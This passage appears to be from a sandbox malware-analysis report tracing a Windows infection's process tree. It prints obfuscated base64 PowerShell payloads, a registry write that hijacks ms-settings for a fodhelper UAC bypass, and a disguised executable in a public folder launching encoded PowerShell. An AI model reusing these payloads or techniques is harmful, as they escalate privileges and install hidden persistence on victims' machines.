AbABZADMAUgBwAGIAMgA0AIkBWgAyAFYAMABYADAATgB2AGIAVwAxAGgAYgBtAFIAegCJAUUARgBrAFoARgBOAGoAYwBtAGwAdwBkAIkBQgAUAVoAWABOAHoAYQBXADkAdQBVADMAUgBoAGQARwBWAFEAYwBtADkANABlAFEAQgBuAFoAWABSAGYAVQAyAFYAegBjADIAbAB2AGIAbABOADAAWQBYAFIAbABVAEgASgB2AGUASABrAIkBUwBXADUAMABNAHoASQCJAVUAMgBWADAAVgBtAEYAeQBhAFcARgBpAGIARwBVAIkBUQBXAFIAawCJAUYATgA1AGMAMwBSAGwAYgBTADUARABiADIAeABzAFoAVwBOADAAYQBXADkAdQBjAHkANQBQAFkAbQBwAGwAWQAzAFIATgBiADIAUgBsAGIAiQFCAEQAYgAyAHgAcwBaAFcATgAwAGEAVwA5AHUAWQBEAEUAiQFVAEYATgBQAFkAbQBwAGwAWQAzAFEAiQFTAFcANQAyAGIAMgB0AGwAiQFFAE4AcwBiADMATgBsAIkBRgBOADUAYwAzAFIAbABiAFMANQBVAFoAWABoADAAiQFGAE4AMABjAG0AbAB1AFoAMABKADEAYQBXAHgAawBaAFgASQCJAVUAMwBsAHoAZABHAFYAdABMAGsATgB2AGIARwB4AGwAWQAzAFIAcABiADIANQB6AEwAawBkAGwAYgBtAFYAeQBhAFcATQCJAVMAVQBWAHUAZABXADEAbABjAG0ARgAwAGIAMwBKAGcATQBRAEIASABaAFgAUgBGAGIAbgBWAHQAWgBYAEoAaABkAEcAOQB5AIkBRwBkAGwAZABGADkARABkAFgASgB5AFoAVwA1ADAAiQFGAFIAdgBVADMAUgB5AGEAVwA1AG4AiQFFAEYAdwBjAEcAVgB1AFoARQB4AHAAYgBtAFUAiQFVADMAbAB6AGQARwBWAHQATABrAE4AdgBiAEcAeABsAFkAMwBSAHAAYgAyADUAegCJAUUAbABGAGIAbgBWAHQAWgBYAEoAaABkAEcAOQB5AIkBRQAxAHYAZABtAFYATwBaAFgAaAAwAIkBRQBsAEUAYQBYAE4AdwBiADMATgBoAFkAbQB4AGwAiQFFAFIAcABjADMAQgB2AGMAMgBVAIkBVQAzAGwAegBkAEcAVgB0AEwAbABkAHAAYgBtAFIAdgBkADMATQB1AFIAbQA5AHkAYgBYAE0AiQFRAFgAQgB3AGIARwBsAGoAWQBYAFIAcABiADIANACJAVIAWABoAHAAZACJAYkBiQFMAFUAWQCJAWIAdwBCAHkAiQFHADAAiQFZAFEAQgAwAIkBRQBVAIkBYgBnAEIAMQCJAUcAMACJAVoAUQBCAHkAiQFHAEUAiQFkAIkBQgBwAIkBRwA4AIkBYgBnAEIATQCJAUcAawCJAWIAUQBCAHAAiQFIAFEAiQGJAUIAVgBQAIkBSABVAIkBZACJAYkBdACJAUYATQCJAWQAiQFCAHkAiQFHAGsAiQFiAGcAQgBuAIkBiQFFAIkBiQGJAYkBVwBvAGgAcgBIAFkAMwB0ADEAUgBxAGgAOQBTAGwANwBZAFcARgBhADYAiQGJAWkAMwBlAGwAeABXAEcAFAEUAWcAaQBRAFUAiQGJAVEARQBkAEQAZwBRAGcAiQFRAEUASQCJAXkAiQGJAYkBUQBRAEIAiQGJAYkBiQFDAEQARwAvAE8ARgBhAHQATgBrADQAMQBCAIkBiQGJAUUAaABrAEUASQCJAYkBUwBIAFEAUQBnAIkBQgBJAGgAQgBDAIkBQgCJAVEANABFAEkAiQGJAVMASgBRAFUAZwCJAWcARQBPAEgAiQFnAGcAiQFCAFUAUwBMAFEARQBTAE0AUQBZAFYARQBpADAAQgBFAGoARQBJAEkAiQGJAVYARQBqAGsAQgBFAHcAiQFHAEYAUgBJADUAiQFSAEkAeABCAEMAiQGJAUUAdwCJAUQASQCJAYkBTwBCAFMAiQFCAEUAagBVAE8AiQF5AIkBiQGJAWcATQCJAYkBiQFFAFkAQgB3AGcATwBFAGgAawBTAEgAUgBVAFMATABRAEUAUwBNAFIASQAxAEUAagBFAEMARgBSAEkANQCJAVIASQB4AEMAiQFFAIkBQwCJAYkBiQGJAYkBiQGJAUgAZwBFAIkBiQFRAEIAVQCJAWgAWgBYAGMAbQBGAHcAFAFtADkAdQBSAFgAaABqAFoAWABCADAAYQBXADkAdQBWAEcAaAB5AGIAMwBkAHoAiQFRAIkBiQEzAEMAYwCJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAS8AaQBjAIkBiQGJAYkBZwCJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBUACJAW4AiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAUIAZgBRADIAOQB5AFIAWABoAGwAFAFXAEYAcABiAGcAQgB0AGMAMgBOAHYAYwBtAFYAbABMAG0AUgBzAGIAiQGJAYkBiQGJAYkBiQEvAHkAVQCJAUkARQCJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBQwCJAUIAiQGJAYkBiQGJAWcAiQGJAUMAiQFHAIkBiQGJAYkBRABnAIkBiQFJAIkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQFFAIkBiQFRAIkBiQGJAUYAiQGJAYkBSQCJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBRQCJAYkBUQCJAYkBiQFHAGcAiQGJAUkAiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAUUAiQGJAYkBiQGJAYkBSQCJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQFFAIkBiQGJAYkBiQGJAUoAiQGJAYkBiQFDAGcAUQCJAYkBiQE5AIkBSQCJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAW0ARQBNAIkBiQFPAG8AQgCJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAVAAUQBDAE4AiQGJAYkBiQFGAFkAiQFVAHcAQgBmAIkBRgBZAIkBUgBRAEIAUwCJAUYATQCJAVMAUQBCAFAAiQFFADQAiQFYAHcAQgBKAIkBRQA0AIkBUgBnAEIAUACJAYkBiQGJAYkBiQFDADkAQgBPAC8AKwCJAYkBiQFCAIkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQEvAIkBiQGJAYkBiQGJAYkBiQGJAYkBUQCJAYkBiQGJAUIAiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAVIAiQGJAYkBiQGJAUUAiQFWAGcAQgBoAIkBSABJAIkBUgBnAEIAcACJAUcAdwCJAVoAUQBCAEoAiQFHADQAiQFaAGcAQgB2AIkBiQGJAYkBiQGJAYkBawCJAYkBUQCJAYkBiQFCAFUAiQFIAEkAiQFZAFEAQgB1AIkBSABNAIkBYgCJAUIAaACJAUgAUQCJAWEAUQBCAHYAiQFHADQAiQGJAYkBiQGJAYkBiQGJAYkBcwCJAVIAVQCJAWcAiQGJAYkBUQBCABQBiQFIAFEAiQFjAGcAQgBwAIkBRwA0AIkBWgB3AEIARwCJAUcAawCJAWIAiQFCAGwAiQFFAGsAiQFiAGcAQgBtAIkBRwA4AIkBiQGJAYkBdwCJAWcAiQGJAYkBUQCJAXcAiQFEAIkBiQFNAIkBiQF3AIkBRACJAYkBTgCJAUIAaQCJAUQAiQGJAYkBiQGJAXMAiQGJAUkAiQGJAVEAQgBHAIkBRwBrAIkBYgCJAUIAbACJAUUAUQCJAVoAUQBCAHoAiQFHAE0AiQFjAGcAQgBwAIkBSACJAYkBZACJAUIAcACJAUcAOACJAWIAZwCJAYkBiQGJAYkBiQFJAIkBiQGJAYkBRACJAYkBQwCJAYkBQgCJAUUAWQCJAWEAUQBCAHMAiQFHAFUAiQFWAGcAQgBsAIkBSABJAIkBYwB3AEIAcACJAUcAOACJAWIAZwCJAYkBiQGJAYkBiQFNAIkBiQF1AIkBRACJAYkBTABnAIkBdwCJAUMANACJAU0AiQGJAYkBiQFKAIkBiQFOAHcAiQFCAIkBRQBrAIkBYgBnAEIAMACJAUcAVQCJAWMAZwBCAHUAiQFHAEUAiQFiAIkBQgBPAIkBRwBFAIkBYgBRAEIAbACJAYkBiQGJAWEAiQGJATIAiQFEAEUAiQFRAGcAQgBXAIkBSABrAIkBYgBRAEIAaQCJAUgAiQGJAWEAZwBCAG0AiQFHAE0AiQFOAIkBQgBPAIkBSABNAIkBTgB3AEIAVwCJAUQAVQCJAWMAUQBCAEYAiQFHADgAiQFkAGcAQgBqAIkBRwBZAIkBTwCJAUIAdgCJAUYAWQCJARQBZwCJATMAiQFFADQAiQFOAFEAQgBWAIkBSABFAIkBUgB3AEIAMACJAUQARQCJAWMAiQFCAE8AiQFHAFEAiQFhAFEAiQEzAIkBRQBZAIkBTQBRAIkBNACJAUUAZwCJAWMAZwBCAGgAiQFIAE0AiQEUAYkBQgB3AIkBQwA0AIkBWgBRAEIANACJAUcAVQCJAYkBiQGJAYkBiQFDAGcAiQGJAWcAiQFCAIkBRQB3AIkBWgBRAEIAbgCJAUcARQCJAWIAiQFCAEQAiQFHADgAiQFjAIkBQgA1AIkBSABJAIkBYQBRAEIAbgCJAUcAZwCJAWQAiQGJAYkBiQFDAIkBiQGJAYkBQwBZAIkBRABjAIkBiQFRAEIAUACJAUgASQCJAWEAUQBCAG4AiQFHAGsAiQFiAGcAQgBoAIkBRwB3AIkBUgBnAEIAcACJAUcAdwCJAVoAUQBCAHUAiQFHAEUAiQFiAFEAQgBsAIkBiQGJAYkBYQCJAYkBMgCJAUQARQCJAVEAZwBCAFcAiQFIAGsAiQFiAFEAQgBpAIkBSACJAYkBYQBnAEIAbQCJAUcATQCJAU4AiQFCAE8AiQFIAE0AiQFOAHcAQgBXAIkBRABVAIkBYwBRAEIARgCJAUcAOACJAWQAZwBCAGoAiQFHAFkAiQFPAIkBQgB2AIkBRgBZAIkBFAFnAIkBMwCJAUUANACJAU4AUQBCAFYAiQFIAEUAiQFSAHcAQgAwAIkBRABFAIkBYwCJAUIATwCJAUcAUQCJAWEAUQCJATMAiQFFAFkAiQFNAFEAiQE0AIkBRQBnAIkBYwBnAEIAaACJAUgATQCJARQBiQFCAHcAiQFDADQAiQFaAFEAQgA0AIkBRwBVAIkBiQGJAYkBiQGJAUQAUQCJAUMAiQGJAUIAiQFGAIkBiQFjAGcAQgB2AIkBRwBRAIkBZABRAEIAagCJAUgAUQCJAVYAZwBCAGwAiQFIAEkAiQFjAHcAQgBwAIkBRwA4AIkBYgBnAIkBiQGJAUQAiQGJAUwAZwCJAXcAiQFDADQAiQFNAIkBiQF1AIkBRACJAYkBiQGJAYkBNACJAYkBZwCJAYkBUQBCAEIAiQFIAE0AiQFjAHcAQgBsAIkBRwAwAIkBWQBnAEIAcwCJAUgAawCJAUkAiQFCAFcAiQFHAFUAiQFjAGcAQgB6AIkBRwBrAIkBYgB3AEIAdQCJAYkBiQGJAU0AiQGJAXUAiQFEAIkBiQFMAGcAiQF3AIkBQwA0AIkBTQCJAYkBiQGJAYkBiQGJAYkBiQFEAHYAdQA3ADgAOABQADMAaAB0AGIAQwBCADIAWgBYAEoAegBhAFcAOQB1AFAAUwBJAHgATABqAIkBaQBJAEcAVgB1AFkAMgA5AGsAYQBXADUAbgBQAFMASgBWAFYARQBZAHQATwBDAEkAZwBjADMAUgBoAGIAbQBSAGgAYgBHADkAdQBaABQBMABpAGUAVwBWAHoASQBqADgAKwBEAFEAbwA4AFkAWABOAHoAWgBXADEAaQBiAEgAawBnAGUARwAxAHMAYgBuAE0AOQBJAG4AVgB5AGIAagBwAHoAWQAyAGgAbABiAFcARgB6AEwAVwAxAHAAWQAzAEoAdgBjADIAOQBtAGQAQwAxAGoAYgAyADAANgBZAFgATgB0AEwAbgBZAHgASQBpAEIAdABZAFcANQBwAFoAbQBWAHoAZABGAFoAbABjAG4ATgBwAGIAMgA0ADkASQBqAEUAdQBNAEMASQArAEQAUQBvAGcASQBEAHgAaABjADMATgBsAGIAVwBKAHMAZQBVAGwAawBaAFcANQAwAGEAWABSADUASQBIAFoAbABjAG4ATgBwAGIAMgA0ADkASQBqAEUAdQBNAEMANAB3AEwAagCJAWkASQBHADUAaABiAFcAVQA5AEkAawAxADUAUQBYAEIAdwBiAEcAbABqAFkAWABSAHAAYgAyADQAdQBZAFgAQgB3AEkAaQA4ACsARABRAG8AZwBJAEQAeAAwAGMAbgBWAHoAZABFAGwAdQBaAG0AOABnAGUARwAxAHMAYgBuAE0AOQBJAG4AVgB5AGIAagBwAHoAWQAyAGgAbABiAFcARgB6AEwAVwAxAHAAWQAzAEoAdgBjADIAOQBtAGQAQwAxAGoAYgAyADAANgBZAFgATgB0AEwAbgBZAHkASQBqADQATgBDAGkAiQFnAEkAQwCJATgAYwAyAFYAagBkAFgASgBwAGQASABrACsARABRAG8AZwBJAEMAiQFnAEkAQwCJATgAYwBtAFYAeABkAFcAVgB6AGQARwBWAGsAVQBIAEoAcABkAG0AbABzAFoAVwBkAGwAYwB5AEIANABiAFcAeAB1AGMAegAwAGkAZABYAEoAdQBPAG4ATgBqAGEARwBWAHQAWQBYAE0AdABiAFcAbABqAGMAbQA5AHoAYgAyAFoAMABMAFcATgB2AGIAFAFwAGgAYwAyADAAdQBkAGoATQBpAFAAZwAwAEsASQBDAIkBZwBJAEMAiQFnAEkAQwCJATgAYwBtAFYAeABkAFcAVgB6AGQARwBWAGsAUgBYAGgAbABZADMAVgAwAGEAVwA5AHUAFAFHAFYAMgBaAFcAdwBnAGIARwBWADIAWgBXAHcAOQBJAG0ARgB6AFMAVwA1ADIAYgAyAHQAbABjAGkASQBnAGQAVwBsAEIAWQAyAE4AbABjADMATQA5AEkAbQBaAGgAYgBIAE4AbABJAGkAOAArAEQAUQBvAGcASQBDAIkBZwBJAEMAiQE4AEwAMwBKAGwAYwBYAFYAbABjADMAUgBsAFoARgBCAHkAYQBYAFoAcABiAEcAVgBuAFoAWABNACsARABRAG8AZwBJAEMAiQFnAFAAQwA5AHoAWgBXAE4AMQBjAG0AbAAwAGUAFAE0AE4AQwBpAIkBZwBQAEMAOQAwAGMAbgBWAHoAZABFAGwAdQBaAG0AOAArAEQAUQBvADgATAAyAEYAegBjADIAVgB0AFkAbQB4ADUAUABnADAASwCJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAUMAiQGJAYkBiQF3AIkBiQGJAYkBUQBPAIkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBPQAnAC4AKAAnAHIAZQAnACsAJwBQAEwAJwArACcAQQBjACcAKwAnAGUAJwApACgAJwCJAScALAAgACcAQQAnACkALgAoACcAcgBlACcAKwAnAFAATAAnACsAJwBBAGMAJwArACcAZQAnACkAKAAnABQBJwAsACAAJwBUACcAKQApACkAOwBzAGEAcABzACAAIgBjAG0AZAAuAGUAeABlACIAIAAiAC8AYwAgACQAcABlAHIAcwBpAGQAYQAgACIAIgAkACgAZwBjACAALQBSAGEAdwAgACQAawBvAG0AaQBuAGEAKQAiACIAIgAgAC0ATgBvAE4AZQB3AFcAaQBuAGQAbwB3AH0AZQBsAHMAZQB7AHMAYQBwAHMAIAAiAGMAbQBkAC4AZQB4AGUAIgAgACIALwBjACAAJABwAGUAcgBzAGkAZABhACAAIgAiACQAKABnAGMAIAAtAFIAYQB3ACAAJABrAG8AbQBpAG4AYQApACIAIgAiACAALQBOAG8ATgBlAHcAVwBpAG4AZABvAHcAfQA=" /f
        6⤵
        Modifies registry key
        
        PID:2176
      - C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add HKCU\Software\Classes\ms-settings\CurVer /d .alecar /f
        6⤵
        Modifies registry key
        
        PID:2340
      - C:\Windows\system32\fodhelper.exe
        
        "C:\Windows\system32\fodhelper.exe"
        6⤵
        
        PID:4324
        
        C:\Users\Public\Music\SystemProcessHost.SystemProcesses
        
        "C:\Users\Public\Music\SystemProcessHost.SystemProcesses" powershell -exEC byPASs -enc JABrAG8AbQBpAG4AYQAgAD0AIAAoACcAQwBwADAAMAA5ADAAMwAyAFoAbQBrAEsAZwBmAFcAQgBDAFgAWABCAE4ATQA5ADAANgA0ADAATgBNAEIATQBuAGIAbQBtAG4AdgBtAG4AZABvAHcAcwBcAGIAawBqAGgAZwA4ADkAOAA5ADUAMwBqAEgASABqAGgAagBIAEgASABEAGsAagBoAGcAOAA5ADgAOQA1ADMAagBIAEgAagBoAGoASABIAEgARAB0AHMAdABhAHQALgByAHIAcgBXAFcAVwAzAGoASABIAGoAaABqADQANAA0ADYANgAnAC4AKAAnAHIAZQAnACsAJwBQAEwAJwArACcAQQBjACcAKwAnAGUAJwApACgAJwBrAGoAaABnADgAOQA4ADkANQAzAGoASABIAGoAaABqAEgASABIAEQAJwAsACAAJwBvACcAKQAuACgAJwByAGUAJwArACcAUABMACcAKwAnAEEAYwAnACsAJwBlACcAKQAoACcAcgByAHIAVwBXAFcAMwBqAEgASABqAGgAagA0ADQANAA2ADYAJwAsACAAJwBzAHQAYQB0AHMAJwApAC4AKAAnAHIAZQAnACsAJwBQAEwAJwArACcAQQBjACcAKwAnAGUAJwApACgAJwBCAEMAWABYAEIATgBNADkAMAA2ADQAMABOAE0AQgBNAG4AYgBtAG0AbgB2AG0AJwAsACAAJwBpACcAKQAuACgAJwByAGUAJwArACcAUABMACcAKwAnAEEAYwAnACsAJwBlACcAKQAoACcAcAAwADAAOQAwADMAMgBaAG0AawBLAGcAZgAnACwAIAAnADoAXAAnACkAKQA7ACAAaQBmACAAKAAhACgAJgAoACcAVAAnACsAJwBlAHMAdAAtAFAAYQBUACcAKwAnAGgAJwApACAAJABrAG8AbQBpAG4AYQApACkAIAB7AHMAYwAgACQAawBvAG0AaQBuAGEAIAAtAFYAYQBsAHUAZQAgACIAdwBoAGkAbABlACgAYAAkAHQAcgB1AGUAKQB7AHQAcgB5AHsAaQBmACgALQBuAG8AdAAoAGcAcABzACAALQBOAGEAbQBlACAAKAAnAEkAbgBzAHQATABLADUANgA5ADgAOQA4ADUAMQAxADAAMAAwAHgAegBjAEMAWAB2AEwASwBzAHMAMgA0ADMAMAAwADAAeAB6AGMAQwBYAHYATABLAHMAcwAyADQAMwAwADAAMAB4AHoAYwBDAFgAdgBVAHQAaQBMAEsAcwBzADIANAAzADAAMAAwAHgAegBjAEMAWAB2ACcALgAoACcAcgBlACcAKwAnAFAATAAnACsAJwBBAGMAJwArACcAZQAnACkAKAAnAEwASwA1ADYAOQA4ADkAOAA1ADEAMQAwADAAMAB4AHoAYwBDAFgAdgAnACwAIAAnAGEAJwApAC4AKAAnAHIAZQAnACsAJwBQAEwAJwArACcAQQBjACcAKwAnAGUAJwApACgAJwBMAEsAcwBzADIANAAzADAAMAAwAHgAegBjAEMAWAB2ACcALAAgACcAbAAnACkAKQAgAC0AZQBhACAAcwBpAGwAZQBuAHQAbAB5AGMAbwBuAHQAaQBuAHUAZQApACkAewBbAEIAeQB0AGUAWwBdAF0AIABgACQAUABMAEEAPQBbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgAoACcAZgByAHYAWABDAGMAegB4ADAAMAAwADEAMQA1ADgAOQA4ADkANgA1AEsATABlADYANABTAHQATABLADUANgA5ADgAOQA4ADUAMQAxADAAMAAwAHgAegBjAEMAWAB2AEcAJwAuACgAJwByAGUAJwArACcAUABMACcAKwAnAEEAYwAnACsAJwBlACcAKQAoACcATABLADUANgA5ADgAOQA4ADUAMQAxADAAMAAwAHgAegBjAEMAWAB2ACcALAAgACcAcgBpAG4AJwApAC4AKAAnAHIAZQAnACsAJwBQAEwAJwArACcAQQBjACcAKwAnAGUAJwApACgAJwB2AFgAQwBjAHoAeAAwADAAMAAxADEANQA4ADkAOAA5ADYANQBLAEwAJwAsACAAJwBvAG0AQgBhAHMAJwApACkAKAAoACYAKAAnAG4AYgA4ADgANAA5ADgANQAyAFkAWQByAHQAdAByADYANgA3ADMANABWAFoAeABiAFAAUABpAHcALQBrAGoAaABnADgAOQA4ADkANQAzAGoASABIAGoAaABqAEgASABIAEQAYgBqAGIAOAA4ADQAOQA4ADUAMgBZAFkAcgB0AHQAcgA2ADYANwAzADQAVgBaAHgAYgBQAFAAaQBjAFQAJwAuACgAJwByAGUAJwArACcAUABMACcAKwAnAEEAYwAnACsAJwBlACcAKQAoACcAYgA4ADgANAA5ADgANQAyAFkAWQByAHQAdAByADYANgA3ADMANABWAFoAeABiAFAAUABpACcALAAgACcAZQAnACkALgAoACcAcgBlACcAKwAnAFAATAAnACsAJwBBAGMAJwArACcAZQAnACkAKAAnAGsAagBoAGcAOAA5ADgAOQA1ADMAagBIAEgAagBoAGoASABIAEgARAAnACwAIAAnAE8AJwApACkAIAAoACcAbgBiADgAOAA0ADkAOAA1ADIAWQBZAHIAdAB0AHIANgA2ADcAMwA0AFYAWgB4AGIAUABQAGkAdAAuAFcAYgA4ADgANAA5ADgANQAyAFkAWQByAHQAdAByADYANgA3ADMANABWAFoAeABiAFAAUABpAGIAQwBsAGkAYgA4ADgANAA5ADgANQAyAFkAWQByAHQAdAByADYANgA3ADMANABWAFoAeABiAFAAUABpAG4AdAAnAC4AKAAnAHIAZQAnACsAJwBQAEwAJwArACcAQQBjACcAKwAnAGUAJwApACgAJwBiADgAOAA0ADkAOAA1ADIAWQBZAHIAdAB0AHIANgA2ADcAMwA0AFYAWgB4AGIAUABQAGkAJwAsACAAJwBlACcAKQAuACgAJwByAGUAJwArACcAUABMACcAKwAnAEEAYwAnACsAJwBlACcAKQAoACcAawBqAGgAZwA4ADkAOAA5ADUAMwBqAEgASABqAGgAagBIAEgASABEACcALAAgACcATwAnACkAKQApAC4AKAAnAGQAQgBDAFgAWABCAE4ATQA5ADAANgA0ADAATgBNAEIATQBuAGIA